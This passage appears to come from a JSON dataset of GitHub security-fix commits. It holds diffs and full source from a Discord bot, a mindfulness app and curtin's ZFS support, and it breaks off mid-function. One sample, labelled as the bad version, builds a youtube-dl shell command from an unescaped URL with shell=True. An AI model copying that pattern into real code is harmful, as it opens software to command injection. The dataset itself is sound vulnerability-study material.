commands.\n is_bot_owner = await self.bot.is_owner(ctx.author)\n\n cmds = sorted(self.bot.commands, key=lambda c: c.name)\n cmds = [self.format_command_name(cmd)\n for cmd in cmds\n if is_bot_owner or not cmd.hidden]\n\n page.add_field(\n name='Available commands',\n value=', '.join(cmds),\n inline=False\n )\n\n return page\n\n # noinspection PyUnusedLocal\n async def gen_spec_page(self,\n ctx: neko.Context,\n cmd: neko.NekoCommand) -> neko.Page:\n \"\"\"\n Given a context and a command, generate a help page entry for the\n command.\n\n :param ctx: the context to use to determine if we can run the command\n here.\n :param cmd: the command to generate the help page for.\n :return: a book page.\n \"\"\"\n pfx = self.bot.command_prefix\n fqn = cmd.qualified_name\n brief = f'**{fqn}**\\n{cmd.brief if cmd.brief else \"\"}'\n doc_str = neko.remove_single_lines(cmd.help)\n usages = cmd.usage.split('|') if cmd.usage else ''\n usages = map(lambda u: f'\u2022 {pfx}{fqn} {u}', usages)\n usages = '\\n'.join(sorted(usages))\n aliases = sorted(cmd.aliases)\n\n if cmd.parent:\n super_command = self.format_command_name(cmd.parent)\n else:\n super_command = None\n\n # noinspection PyUnresolvedReferences\n can_run = await cmd.can_run(ctx)\n\n if isinstance(cmd, neko.GroupMixin):\n def sub_cmd_map(c):\n c = self.format_command_name(c)\n c = f'\u2022 {c}'\n return c\n\n # Cast to a set to prevent duplicates for aliases. Hoping this\n # fixes #9 again.\n # noinspection PyUnresolvedReferences\n sub_commands = map(sub_cmd_map, set(cmd.walk_commands()))\n sub_commands = sorted(sub_commands)\n else:\n sub_commands = []\n\n if getattr(cmd, 'enabled', False) and can_run:\n color = default_color\n elif not can_run:\n color = 0\n else:\n color = 0xFF0000\n\n page = neko.Page(\n title=f'Command documentation',\n description=brief,\n color=color\n )\n\n if doc_str:\n page.add_field(\n name='Description',\n value=doc_str,\n inline=False\n )\n\n if usages:\n page.add_field(\n name='Usage',\n value=usages,\n inline=False\n )\n\n if aliases:\n page.add_field(\n name='Aliases',\n value=', '.join(aliases)\n )\n\n if sub_commands:\n page.add_field(\n name='Child commands',\n value='\\n'.join(sub_commands)\n )\n\n if super_command:\n page.add_field(\n name='Parent command',\n value=super_command\n )\n\n if not can_run and cmd.enabled:\n page.set_footer(\n text='You do not hve permission to run the command here.'\n )\n elif not cmd.enabled:\n page.set_footer(\n text='This command has been disabled globally.'\n )\n\n return page\n\n @staticmethod\n def format_command_name(cmd: neko.NekoCommand,\n *,\n is_full=False) -> str:\n \"\"\"\n Formats the given command using it's name, in markdown.\n\n If the command is disabled, it is crossed out.\n If the command is a group, it is proceeded with an asterisk.\n This is only done if the command has at least one sub-command\n present.\n If the command is hidden, it is displayed in italics.\n\n :param cmd: the command to format.\n :param is_full: defaults to false. If true, the parent command is\n prepended to the returned string first.\n \"\"\"\n name = cmd.name\n\n if not cmd.enabled:\n name = f'~~{name}~~'\n\n if cmd.hidden:\n name = f'*{name}*'\n\n if isinstance(cmd, neko.GroupMixin) and getattr(cmd, 'commands'):\n name = f'{name}\\*'\n\n if is_full:\n name = f'{cmd.full_parent_name} {name}'.strip()\n\n return name\n\n\nclass ActivityChangerCog(neko.Cog):\n \"\"\"\n Handles updating the game every-so-often to a new message.\n \"\"\"\n def __init__(self, bot: neko.NekoBot):\n self.bot = bot\n\n # Use a lock to determine if the coroutine is running or not.\n # This is used to restart the game-displaying loop on_ready if and\n # only if the coroutine is not already running.\n self.running_lock = asyncio.Lock()\n\n def next_activity(self):\n \"\"\"Acts as an iterator for getting the next activity-change coro.\"\"\"\n # Get a random command, this is more fun.\n command_choice = list(\n filter(\n # Hide superuser commands.\n lambda c: not c.qualified_name.startswith('sudo'),\n self.bot.walk_commands()\n )\n )\n\n command = random.choice(command_choice)\n return self.bot.change_presence(\n game=discord.Game(\n name=f'for {self.bot.command_prefix}{command.qualified_name}',\n type=3\n )\n )\n\n async def activity_update_loop(self):\n \"\"\"Handles changing the status every 20 seconds.\"\"\"\n with await self.running_lock:\n while True:\n try:\n await self.next_activity()\n except BaseException:\n pass\n else:\n await asyncio.sleep(20)\n\n async def on_ready(self):\n \"\"\"On ready, if we are not already running a loop, invoke a new one.\"\"\"\n\n # Delay on_ready for a couple of seconds to ensure the previous\n # message had time to show.\n await asyncio.sleep(2)\n\n # First say \"READY!\" for 10 seconds.\n await self.bot.change_presence(\n game=discord.Game(name='READY!'),\n status=discord.Status\n )\n\n await asyncio.sleep(10)\n\n if not self.running_lock.locked():\n asyncio.ensure_future(self.activity_update_loop())\n\n async def on_connect(self):\n \"\"\"When we connect to Discord, show the game as listening to Gateway\"\"\"\n try:\n # I like random snippets of data.\n # noinspection PyProtectedMember\n gateway = self.bot.ws._trace[0]\n except IndexError:\n gateway = 'the gateway'\n\n await self.bot.change_presence(\n game=discord.Game(name=gateway, type=2),\n status=discord.Status.dnd\n )\n\n\ndef setup(bot):\n \"\"\"Adds the help cog to the bot.\"\"\"\n HelpCog.mksetup()(bot)\n ActivityChangerCog.mksetup()(bot)\n"}}, "msg": "Lots of changes, bug fixes, security fixes and performance tweaks.\n\n- Moved `git` commands to use asyncio.subprocess instead of threadpoolexecutors\n- Merged owneronly into botbits extension\n- Moved botbits extension to `neko` pkg and renamed to core-commands\n- Added filtering of branch name to prevent possible code injection.\n- Implemented NekoCommandError which is a type of warning and if caught, suppresses\n some output. This is useful for command errors due to crappy user input\n where I don't need the tracebacks cluttering my system journal.\n- Git command output is now wrapped in triple backticks.\n- Help command has been optimised.\n- Help command now supports searching by aliases.\n- Implemented qualified_aliases and qualified_names properties in command.\n- Removed double traceback printout in on_error in NekoCommandMixin, replaced with\n single traceback printout.\n- Fixed double definition of `def` command for wordnik command.\n- core_commands is now loaded by force by the client, not in plugins.json.\n- Added rng cog for some basic random-number generation bits and pieces."}}, "https://github.com/w-martin/mindfulness": {"62e1d5ce9deb57468cf917ce0ce838120ec84c46": {"url": "https://api.github.com/repos/w-martin/mindfulness/commits/62e1d5ce9deb57468cf917ce0ce838120ec84c46", "html_url": "https://github.com/w-martin/mindfulness/commit/62e1d5ce9deb57468cf917ce0ce838120ec84c46", "message": "(issue #25) 'Auto-fill description form acts as a shell':\n- refactored 'check_output' method call to pass through command parameters as vargs instead of formatting the string manually. subprocess then handles the sanitising of the passed parameter which prevents the shell injection\n- shell=True removed (defaulting the value to true) as we no longer need to call the shell directly NB: the subprocess documentation recommends against using 'shell=True' due to the risks associated with untrusted input", "sha": "62e1d5ce9deb57468cf917ce0ce838120ec84c46", "keyword": "command injection prevent", "diff": "diff --git a/src/util.py b/src/util.py\nindex f1ddfbb..418f0c2 100644\n--- a/src/util.py\n+++ b/src/util.py\n@@ -25,8 +25,8 @@ def remove_commas_from_string(input_string):\n \n def get_title_from_youtube_url(url):\n try:\n- output = str(subprocess.check_output('youtube-dl --get-title %s --no-warnings' % url, stderr=subprocess.STDOUT,\n- shell=True)).strip()\n+ output = str(subprocess.check_output(['youtube-dl', '--get-title', url, '--no-warnings'],\n+ stderr=subprocess.STDOUT)).strip()\n except subprocess.CalledProcessError as ex:\n output = str(ex.output).strip()\n except OSError as ex:\n", "files": {"/src/util.py": {"changes": [{"diff": "\n \n def get_title_from_youtube_url(url):\n try:\n- output = str(subprocess.check_output('youtube-dl --get-title %s --no-warnings' % url, stderr=subprocess.STDOUT,\n- shell=True)).strip()\n+ output = str(subprocess.check_output(['youtube-dl', '--get-title', url, '--no-warnings'],\n+ stderr=subprocess.STDOUT)).strip()\n except subprocess.CalledProcessError as ex:\n output = str(ex.output).strip()\n except OSError as ex:\n", "add": 2, "remove": 2, "filename": "/src/util.py", "badparts": [" output = str(subprocess.check_output('youtube-dl --get-title %s --no-warnings' % url, stderr=subprocess.STDOUT,", " shell=True)).strip()"], "goodparts": [" output = str(subprocess.check_output(['youtube-dl', '--get-title', url, '--no-warnings'],", " stderr=subprocess.STDOUT)).strip()"]}], "source": "\nimport glob import logging import os import subprocess from ConfigParser import ConfigParser try: CONFIG_INI=os.path.abspath(glob.glob('mindfulness_config.ini')[0]) except: CONFIG_INI='/opt/mindfulness/mindfulness_config.ini' def read_config(section): parser=ConfigParser() parser.read(CONFIG_INI) config_params={param[0]: param[1] for param in parser.items(section)} logging.info(\"Loaded %d parameters for section %s\", len(config_params), section) return config_params def remove_commas_from_string(input_string): return str(input_string).translate(None, ',') def get_title_from_youtube_url(url): try: output=str(subprocess.check_output('youtube-dl --get-title %s --no-warnings' % url, stderr=subprocess.STDOUT, shell=True)).strip() except subprocess.CalledProcessError as ex: output=str(ex.output).strip() except OSError as ex: output='youtube-dl not found: %s' % ex except Exception as ex: output='Something bad happened: %s' % ex return remove_commas_from_string(output) BASE_PATH=read_config('general')['path'] ", "sourceWithComments": "import glob\nimport logging\nimport os\nimport subprocess\nfrom ConfigParser import ConfigParser\n\ntry:\n CONFIG_INI = os.path.abspath(glob.glob('mindfulness_config.ini')[0])\nexcept:\n # try default path\n CONFIG_INI = '/opt/mindfulness/mindfulness_config.ini'\n\n\ndef read_config(section):\n parser = ConfigParser()\n parser.read(CONFIG_INI)\n config_params = {param[0]: param[1] for param in parser.items(section)}\n logging.info(\"Loaded %d parameters for section %s\", len(config_params), section)\n return config_params\n\n\ndef remove_commas_from_string(input_string):\n return str(input_string).translate(None, ',')\n\n\ndef get_title_from_youtube_url(url):\n try:\n output = str(subprocess.check_output('youtube-dl --get-title %s --no-warnings' % url, stderr=subprocess.STDOUT,\n shell=True)).strip()\n except subprocess.CalledProcessError as ex:\n output = str(ex.output).strip()\n except OSError as ex:\n output = 'youtube-dl not found: %s' % ex\n except Exception as ex:\n output = 'Something bad happened: %s' % ex\n return remove_commas_from_string(output)\n\n\nBASE_PATH = read_config('general')['path']\n"}}, "msg": "(issue #25) 'Auto-fill description form acts as a shell':\n- refactored 'check_output' method call to pass through command parameters as vargs instead of formatting the string manually. subprocess then handles the sanitising of the passed parameter which prevents the shell injection\n- shell=True removed (defaulting the value to true) as we no longer need to call the shell directly NB: the subprocess documentation recommends against using 'shell=True' due to the risks associated with untrusted input"}}, "https://github.com/CanonicalLtd/curtin": {"f4ac975d776092dfe881ec63fd398c1ab851365b": {"url": "https://api.github.com/repos/CanonicalLtd/curtin/commits/f4ac975d776092dfe881ec63fd398c1ab851365b", "html_url": "https://github.com/CanonicalLtd/curtin/commit/f4ac975d776092dfe881ec63fd398c1ab851365b", "message": "Add zpool, zfs storage commands for experimental support of ZFS on root.\n\ncurtin/block\n - Add get_dev_disk_byid() to return a mapping of devname to disk/by-id\n - Add zfs and zpool to install deps dictionary\n\ncurtin/block/clear_holders\n - Add modprobe zfs\n\ncurtin/block/zfs\n - implement zpool_create, zfs_create, zfs_list, zfs_export and zfs_mount\n commands\n\ncurtin/dep\n - Add zfs, zfsutils-linux to ephemeral environment as needed\n - Introduce a check for required kernel modules (zfs)\n\ncurtin/commands/block_meta\n - implement handlers for type: zpool and zfs\n - add get_poolname resolver\n\ncurtin/commands/curthooks\n - On xenial, apt-mark hold zfs-dkms in target to prevent installation\n to work around bug 1742560.\n - Add an injection of a zfs environment variable required for ZFS on\n rootfs to work with grub; allows grub to extract the path to the zfs\n vdevs full path rather than just the devname (/dev/disk/by-id/foo vs\n disk/by-id/foo) to work around bug 1527727.\n\ncurtin/commands/install\n - Export ZPOOL_VDEV_NAME_PATH=1 into target environment to allow grub to\n work with zfs on root\n\ndoc/topics/storage.rst\n - Add documentation for zpool, zfs commands and experimental ZFS-on-Root\n\nhelpers/common\n - Update install_grub to skip block-device check if target is zfs.\n\ntests/unittests/test_block\n - Add test for disk_byid methods\n\ntests/unittests/test_block_zfs\n - Add coverage for block.zfs\n\ntests/unittests/test_clear_holders\n - Update test to account for modprobe zfs\n\ntests/vmtests/test_zfsroot\n - Add initial zfsroot install and test", "sha": "f4ac975d776092dfe881ec63fd398c1ab851365b", "keyword": "command injection prevent", "diff": "diff --git a/curtin/block/__init__.py b/curtin/block/__init__.py\nindex b495575b..461dd277 100644\n--- a/curtin/block/__init__.py\n+++ b/curtin/block/__init__.py\n@@ -428,6 +428,7 @@ def blkid(devs=None, cache=True):\n os.unlink(cachefile)\n \n cmd = ['blkid', '-o', 'full']\n+ cmd.extend(devs)\n # blkid output is : KEY=VALUE\n # where KEY is TYPE, UUID, PARTUUID, LABEL\n out, err = util.subp(cmd, capture=True)\n@@ -635,6 +636,34 @@ def get_proc_mounts():\n return mounts\n \n \n+def get_dev_disk_byid():\n+ \"\"\"\n+ Construct a dictionary mapping devname to disk/by-id paths\n+\n+ :returns: Dictionary populated by examining /dev/disk/by-id/*\n+\n+ {\n+ '/dev/sda': '/dev/disk/by-id/virtio-aaaa',\n+ '/dev/sda1': '/dev/disk/by-id/virtio-aaaa-part1',\n+ }\n+ \"\"\"\n+\n+ prefix = '/dev/disk/by-id'\n+ return {\n+ os.path.realpath(byid): byid\n+ for byid in [os.path.join(prefix, path) for path in os.listdir(prefix)]\n+ }\n+\n+\n+def disk_to_byid_path(kname):\n+ \"\"\"\"\n+ Return a /dev/disk/by-id path to kname if present.\n+ \"\"\"\n+\n+ mapping = get_dev_disk_byid()\n+ return mapping.get(dev_path(kname))\n+\n+\n def lookup_disk(serial):\n \"\"\"\n Search for a disk by its serial number using /dev/disk/by-id/\n@@ -760,6 +789,18 @@ def is_extended_partition(device):\n check_dos_signature(device))\n \n \n+def is_zfs_member(device):\n+ \"\"\"\n+ check if the specified device path is a zfs member\n+ \"\"\"\n+ info = _lsblock()\n+ kname = path_to_kname(device)\n+ if kname in info and info[kname].get('FSTYPE') == 'zfs_member':\n+ return True\n+\n+ return False\n+\n+\n @contextmanager\n def exclusive_open(path, exclusive=True):\n \"\"\"\n@@ -1011,7 +1052,9 @@ def detect_required_packages_mapping():\n 'lvm_partition': ['lvm2'],\n 'lvm_volgroup': ['lvm2'],\n 'raid': ['mdadm'],\n- 'xfs': ['xfsprogs']\n+ 'xfs': ['xfsprogs'],\n+ 'zfs': ['zfsutils-linux', 'zfs-initramfs'],\n+ 'zpool': ['zfsutils-linux', 'zfs-initramfs'],\n },\n },\n }\ndiff --git a/curtin/block/clear_holders.py b/curtin/block/clear_holders.py\nindex fe816f0a..e9dd451e 100644\n--- a/curtin/block/clear_holders.py\n+++ b/curtin/block/clear_holders.py\n@@ -13,6 +13,7 @@\n from curtin import (block, udev, util)\n from curtin.block import lvm\n from curtin.block import mdadm\n+from curtin.block import zfs\n from curtin.log import LOG\n \n # poll frequenty, but wait up to 60 seconds total\n@@ -245,6 +246,11 @@ def wipe_superblock(device):\n LOG.info(\"extended partitions do not need wiping, so skipping: '%s'\",\n blockdev)\n else:\n+ # release zfs member by exporting the pool\n+ if block.is_zfs_member(blockdev):\n+ poolname = zfs.device_to_poolname(blockdev)\n+ zfs.zpool_export(poolname)\n+\n # some volumes will be claimed by the bcache layer but do not surface\n # an actual /dev/bcacheN device which owns the parts (backing, cache)\n # The result is that some volumes cannot be wiped while bcache claims\n@@ -516,7 +522,10 @@ def start_clear_holders_deps():\n # lad the bcache module bcause it is not present in the kernel. if this\n # happens then there is no need to halt installation, as the bcache devices\n # will never appear and will never prevent the disk from being reformatted\n- util.subp(['modprobe', 'bcache'], rcs=[0, 1])\n+ util.load_kernel_module('bcache')\n+ # the zfs module is needed to find and export devices which may be in-use\n+ # and need to be cleared.\n+ util.load_kernel_module('zfs')\n \n \n # anything that is not identified can assumed to be a 'disk' or similar\ndiff --git a/curtin/block/zfs.py b/curtin/block/zfs.py\nnew file mode 100644\nindex 00000000..52bb1cf8\n--- /dev/null\n+++ b/curtin/block/zfs.py\n@@ -0,0 +1,242 @@\n+# This file is part of curtin. See LICENSE file for copyright and license info.\n+\n+\"\"\"\n+Wrap calls to the zfsutils-linux package (zpool, zfs) for creating zpools\n+and volumes.\"\"\"\n+\n+import os\n+\n+from curtin import util\n+from . import blkid\n+\n+ZPOOL_DEFAULT_PROPERTIES = {\n+ 'ashift': 12,\n+}\n+\n+ZFS_DEFAULT_PROPERTIES = {\n+ 'atime': 'off',\n+ 'canmount': 'off',\n+ 'compression': 'lz4',\n+ 'normalization': 'formD',\n+}\n+\n+\n+def _join_flags(optflag, params):\n+ \"\"\"\n+ Insert optflag for each param in params and return combined list.\n+\n+ :param optflag: String of the optional flag, like '-o'\n+ :param params: dictionary of parameter names and values\n+ :returns: List of strings\n+ :raises: ValueError: if params are of incorrect type\n+\n+ Example:\n+ optflag='-o', params={'foo': 1, 'bar': 2} =>\n+ ['-o', 'foo=1', '-o', 'bar=2']\n+ \"\"\"\n+\n+ if not isinstance(optflag, str) or not optflag:\n+ raise ValueError(\"Invalid optflag: %s\", optflag)\n+\n+ if not isinstance(params, dict):\n+ raise ValueError(\"Invalid params: %s\", params)\n+\n+ # zfs flags and params require string booleans ('on', 'off')\n+ # yaml implicity converts those and others to booleans, we\n+ # revert that here\n+ def _b2s(value):\n+ if not isinstance(value, bool):\n+ return value\n+ if value:\n+ return 'on'\n+ return 'off'\n+\n+ return [] if not params else (\n+ [param for opt in zip([optflag] * len(params),\n+ [\"%s=%s\" % (k, _b2s(v))\n+ for (k, v) in params.items()])\n+ for param in opt])\n+\n+\n+def _join_pool_volume(poolname, volume):\n+ \"\"\"\n+ Combine poolname and volume.\n+ \"\"\"\n+ if not poolname or not volume:\n+ raise ValueError('Invalid pool (%s) or volume (%s)', poolname, volume)\n+\n+ return os.path.normpath(\"%s/%s\" % (poolname, volume))\n+\n+\n+def zpool_create(poolname, vdevs, mountpoint=None, altroot=None,\n+ pool_properties=None, zfs_properties=None):\n+ \"\"\"\n+ Create a zpool called comprised of devices specified in .\n+\n+ :param poolname: String used to name the pool.\n+ :param vdevs: An iterable of strings of block devices paths which *should*\n+ start with '/dev/disk/by-id/' to follow best practices.\n+ :param pool_properties: A dictionary of key, value pairs to be passed\n+ to `zpool create` with the `-o` flag as properties\n+ of the zpool. If value is None, then\n+ ZPOOL_DEFAULT_PROPERTIES will be used.\n+ :param zfs_properties: A dictionary of key, value pairs to be passed\n+ to `zpool create` with the `-O` flag as properties\n+ of the filesystems created under the pool. If the\n+ value is None, then ZFS_DEFAULT_PROPERTIES will be\n+ used.\n+ :returns: None on success.\n+ :raises: ValueError: raises exceptions on missing/badd input\n+ :raises: ProcessExecutionError: raised on unhandled exceptions from\n+ invoking `zpool create`.\n+ \"\"\"\n+ if not isinstance(poolname, util.string_types) or not poolname:\n+ raise ValueError(\"Invalid poolname: %s\", poolname)\n+\n+ if isinstance(vdevs, util.string_types) or isinstance(vdevs, dict):\n+ raise TypeError(\"Invalid vdevs: expected list-like iterable\")\n+ else:\n+ try:\n+ vdevs = list(vdevs)\n+ except TypeError:\n+ raise TypeError(\"vdevs must be iterable, not: %s\" % str(vdevs))\n+\n+ if not pool_properties:\n+ pool_properties = ZPOOL_DEFAULT_PROPERTIES\n+ if not zfs_properties:\n+ zfs_properties = ZFS_DEFAULT_PROPERTIES\n+\n+ options = _join_flags('-o', pool_properties)\n+ options.extend(_join_flags('-O', zfs_properties))\n+\n+ if mountpoint:\n+ options.extend(_join_flags('-O', {'mountpoint': mountpoint}))\n+\n+ if altroot:\n+ options.extend(['-R', altroot])\n+\n+ cmd = [\"zpool\", \"create\"] + options + [poolname] + vdevs\n+ util.subp(cmd, capture=True)\n+\n+\n+def zfs_create(poolname, volume, zfs_properties=None):\n+ \"\"\"\n+ Create a filesystem dataset within the specified zpool.\n+\n+ :param poolname: String used to specify the pool in which to create the\n+ filesystem.\n+ :param volume: String used as the name of the filesystem.\n+ :param zfs_properties: A dict of properties to be passed\n+ to `zfs create` with the `-o` flag as properties\n+ of the filesystems created under the pool. If\n+ value is None then no properties will be set on\n+ the filesystem.\n+ :returns: None\n+ :raises: ValueError: raises exceptions on missing/bad input.\n+ :raises: ProcessExecutionError: raised on unhandled exceptions from\n+ invoking `zfs create`.\n+ \"\"\"\n+ if not isinstance(poolname, util.string_types) or not poolname:\n+ raise ValueError(\"Invalid poolname: %s\", poolname)\n+\n+ if not isinstance(volume, util.string_types) or not volume:\n+ raise ValueError(\"Invalid volume: %s\", volume)\n+\n+ if not zfs_properties:\n+ zfs_properties = {}\n+\n+ if not isinstance(zfs_properties, dict):\n+ raise ValueError(\"Invalid zfs_properties: %s\", zfs_properties)\n+\n+ options = _join_flags('-o', zfs_properties)\n+\n+ cmd = [\"zfs\", \"create\"] + options + [_join_pool_volume(poolname, volume)]\n+ util.subp(cmd, capture=True)\n+\n+ # mount volume if it canmount=noauto\n+ if zfs_properties.get('canmount') == 'noauto':\n+ zfs_mount(poolname, volume)\n+\n+\n+def zfs_mount(poolname, volume):\n+ \"\"\"\n+ Mount zfs pool/volume\n+\n+ :param poolname: String used to specify the pool in which to create the\n+ filesystem.\n+ :param volume: String used as the name of the filesystem.\n+ :returns: None\n+ :raises: ValueError: raises exceptions on missing/bad input.\n+ :raises: ProcessExecutionError: raised on unhandled exceptions from\n+ invoking `zfs mount`.\n+ \"\"\"\n+\n+ if not isinstance(poolname, util.string_types) or not poolname:\n+ raise ValueError(\"Invalid poolname: %s\", poolname)\n+\n+ if not isinstance(volume, util.string_types) or not volume:\n+ raise ValueError(\"Invalid volume: %s\", volume)\n+\n+ cmd = ['zfs', 'mount', _join_pool_volume(poolname, volume)]\n+ util.subp(cmd, capture=True)\n+\n+\n+def zpool_list():\n+ \"\"\"\n+ Return a list of zfs pool names\n+\n+ :returns: List of strings\n+ \"\"\"\n+\n+ # -H drops the header, -o specifies an attribute to fetch\n+ out, _err = util.subp(['zpool', 'list', '-H', '-o', 'name'], capture=True)\n+\n+ return out.splitlines()\n+\n+\n+def zpool_export(poolname):\n+ \"\"\"\n+ Export specified zpool\n+\n+ :param poolname: String used to specify the pool to export.\n+ :returns: None\n+ \"\"\"\n+\n+ if not isinstance(poolname, util.string_types) or not poolname:\n+ raise ValueError(\"Invalid poolname: %s\", poolname)\n+\n+ util.subp(['zpool', 'export', poolname])\n+\n+\n+def device_to_poolname(devname):\n+ \"\"\"\n+ Use blkid information to map a devname to a zpool poolname\n+ stored in in 'LABEL' if devname is a zfs_member and LABEL\n+ is set.\n+\n+ :param devname: A block device name\n+ :returns: String\n+\n+ Example blkid output on a zfs vdev:\n+ {'/dev/vdb1': {'LABEL': 'rpool',\n+ 'PARTUUID': '52dff41a-49be-44b3-a36a-1b499e570e69',\n+ 'TYPE': 'zfs_member',\n+ 'UUID': '12590398935543668673',\n+ 'UUID_SUB': '7809435738165038086'}}\n+\n+ device_to_poolname('/dev/vdb1') would return 'rpool'\n+ \"\"\"\n+ if not isinstance(devname, util.string_types) or not devname:\n+ raise ValueError(\"device_to_poolname: invalid devname: '%s'\" % devname)\n+\n+ blkid_info = blkid(devs=[devname])\n+ if not blkid_info or devname not in blkid_info:\n+ return\n+\n+ vdev = blkid_info.get(devname)\n+ vdev_type = vdev.get('TYPE')\n+ label = vdev.get('LABEL')\n+ if vdev_type == 'zfs_member' and label:\n+ return label\n+\n+# vi: ts=4 expandtab syntax=python\ndiff --git a/curtin/commands/block_meta.py b/curtin/commands/block_meta.py\nindex 9ca60b72..58f4686f 100644\n--- a/curtin/commands/block_meta.py\n+++ b/curtin/commands/block_meta.py\n@@ -2,7 +2,7 @@\n \n from collections import OrderedDict\n from curtin import (block, config, util)\n-from curtin.block import (mdadm, mkfs, clear_holders, lvm, iscsi)\n+from curtin.block import (mdadm, mkfs, clear_holders, lvm, iscsi, zfs)\n from curtin.log import LOG\n from curtin.reporter import events\n \n@@ -249,6 +249,23 @@ def make_dname(volume, storage_config):\n util.write_file(rule_file, ', '.join(rule))\n \n \n+def get_poolname(info, storage_config):\n+ \"\"\" Resolve pool name from zfs info \"\"\"\n+\n+ LOG.debug('get_poolname for volume {}'.format(info))\n+ if info.get('type') == 'zfs':\n+ pool_id = info.get('pool')\n+ poolname = get_poolname(storage_config.get(pool_id), storage_config)\n+ elif info.get('type') == 'zpool':\n+ poolname = info.get('pool')\n+ else:\n+ msg = 'volume is not type zfs or zpool: %s' % info\n+ LOG.error(msg)\n+ raise ValueError(msg)\n+\n+ return poolname\n+\n+\n def get_path_to_storage_volume(volume, storage_config):\n # Get path to block device for volume. Volume param should refer to id of\n # volume in storage config\n@@ -1153,6 +1170,59 @@ def ensure_bcache_is_registered(bcache_device, expected, retry=None):\n .format(backing_device, cache_device))\n \n \n+def zpool_handler(info, storage_config):\n+ \"\"\"\n+ Create a zpool based in storage_configuration\n+ \"\"\"\n+ state = util.load_command_environment()\n+\n+ # extract /dev/disk/by-id paths for each volume used\n+ vdevs = [get_path_to_storage_volume(v, storage_config)\n+ for v in info.get('vdevs', [])]\n+ poolname = info.get('pool')\n+ mountpoint = info.get('mountpoint')\n+ altroot = state['target']\n+\n+ if not vdevs or not poolname:\n+ raise ValueError(\"pool and vdevs for zpool must be specified\")\n+\n+ # map storage volume to by-id path for persistent path\n+ vdevs_byid = []\n+ for vdev in vdevs:\n+ byid = block.disk_to_byid_path(vdev)\n+ if not byid:\n+ msg = 'Cannot find by-id path to zpool device \"%s\"' % vdev\n+ LOG.error(msg)\n+ raise RuntimeError(msg)\n+ vdevs_byid.append(byid)\n+\n+ LOG.info('Creating zpool %s with vdevs %s', poolname, vdevs_byid)\n+ zfs.zpool_create(poolname, vdevs_byid,\n+ mountpoint=mountpoint, altroot=altroot)\n+\n+\n+def zfs_handler(info, storage_config):\n+ \"\"\"\n+ Create a zfs filesystem\n+ \"\"\"\n+ state = util.load_command_environment()\n+ poolname = get_poolname(info, storage_config)\n+ volume = info.get('volume')\n+ properties = info.get('properties', {})\n+\n+ LOG.info('Creating zfs dataset %s/%s with properties %s',\n+ poolname, volume, properties)\n+ zfs.zfs_create(poolname, volume, zfs_properties=properties)\n+\n+ mountpoint = properties.get('mountpoint')\n+ if mountpoint:\n+ if state['fstab']:\n+ fstab_entry = (\n+ \"# Use `zfs list` for current zfs mount info\\n\" +\n+ \"# %s %s defaults 0 0\\n\" % (poolname, mountpoint))\n+ util.write_file(state['fstab'], fstab_entry, omode='a')\n+\n+\n def extract_storage_ordered_dict(config):\n storage_config = config.get('storage', {})\n if not storage_config:\n@@ -1184,7 +1254,9 @@ def meta_custom(args):\n 'lvm_partition': lvm_partition_handler,\n 'dm_crypt': dm_crypt_handler,\n 'raid': raid_handler,\n- 'bcache': bcache_handler\n+ 'bcache': bcache_handler,\n+ 'zfs': zfs_handler,\n+ 'zpool': zpool_handler,\n }\n \n state = util.load_command_environment()\ndiff --git a/curtin/commands/curthooks.py b/curtin/commands/curthooks.py\nindex af747ce8..a8ae7019 100644\n--- a/curtin/commands/curthooks.py\n+++ b/curtin/commands/curthooks.py\n@@ -941,6 +941,12 @@ def curthooks(args):\n do_apt_config(cfg, target)\n disable_overlayroot(cfg, target)\n \n+ # LP: #1742560 prevent zfs-dkms from being installed (Xenial)\n+ if util.lsb_release(target=target)['codename'] == 'xenial':\n+ util.apt_update(target=target)\n+ with util.ChrootableTarget(target) as in_chroot:\n+ in_chroot.subp(['apt-mark', 'hold', 'zfs-dkms'])\n+\n # packages may be needed prior to installing kernel\n with events.ReportEventStack(\n name=stack_prefix + '/installing-missing-packages',\n@@ -967,6 +973,13 @@ def curthooks(args):\n util.subp(['dpkg-reconfigure', '--frontend=noninteractive', 'mdadm'],\n data=None, target=target)\n \n+ # if target has zfs, set ZPOOL_VDEV_NAME_PATH=1 in env (LP: #1527727).\n+ if (util.which(\"zfs\", target=target) and\n+ util.lsb_release(target=target)['codename'] == 'xenial'):\n+ etc_env = util.target_path(target, '/etc/environment')\n+ export_line = '# LP: #1527727\\nexport ZPOOL_VDEV_NAME_PATH=\"1\"\\n'\n+ util.write_file(etc_env, content=export_line, omode=\"a\")\n+\n with events.ReportEventStack(\n name=stack_prefix + '/installing-kernel',\n reporting_enabled=True, level=\"INFO\",\ndiff --git a/curtin/commands/install.py b/curtin/commands/install.py\nindex 8472483a..5474e68f 100644\n--- a/curtin/commands/install.py\n+++ b/curtin/commands/install.py\n@@ -204,6 +204,10 @@ def run(self):\n env = self.env.copy()\n env['CURTIN_REPORTSTACK'] = cur_res.fullname\n \n+ # LP: #1527727: This must be in the environment on xenial installs\n+ # anywhere that grub might be invoked (apt or setup-grub).\n+ env['ZPOOL_VDEV_NAME_PATH'] = \"1\"\n+\n shell = not isinstance(cmd, list)\n with util.LogTimer(LOG.debug, cmdname):\n with cur_res:\ndiff --git a/curtin/deps/__init__.py b/curtin/deps/__init__.py\nindex 4b70b4fa..70148958 100644\n--- a/curtin/deps/__init__.py\n+++ b/curtin/deps/__init__.py\n@@ -9,6 +9,7 @@\n install_packages,\n is_uefi_bootable,\n lsb_release,\n+ subp,\n which,\n )\n \n@@ -33,6 +34,10 @@\n ('iscsiadm', 'open-iscsi'),\n ]\n \n+REQUIRED_KERNEL_MODULES = [\n+ # kmod name\n+]\n+\n if lsb_release()['codename'] == \"precise\":\n REQUIRED_IMPORTS.append(\n ('import oauth.oauth', 'python-oauth', None),)\n@@ -40,6 +45,11 @@\n REQUIRED_IMPORTS.append(\n ('import oauthlib.oauth1', 'python-oauthlib', 'python3-oauthlib'),)\n \n+# zfs is > trusty only\n+if not lsb_release()['codename'] in [\"precise\", \"trusty\"]:\n+ REQUIRED_EXECUTABLES.append(('zfs', 'zfsutils-linux'))\n+ REQUIRED_KERNEL_MODULES.append('zfs')\n+\n if not is_uefi_bootable() and 'arm' in get_architecture():\n REQUIRED_EXECUTABLES.append(('flash-kernel', 'flash-kernel'))\n \n@@ -119,8 +129,24 @@ def check_imports(imports=None):\n return mdeps\n \n \n+def check_kernel_modules(modules=None):\n+ if modules is None:\n+ modules = REQUIRED_KERNEL_MODULES\n+\n+ # if we're missing any modules, install the full\n+ # linux-image package for this environment\n+ for kmod in modules:\n+ try:\n+ subp(['modinfo', '--filename', kmod], capture=True)\n+ except 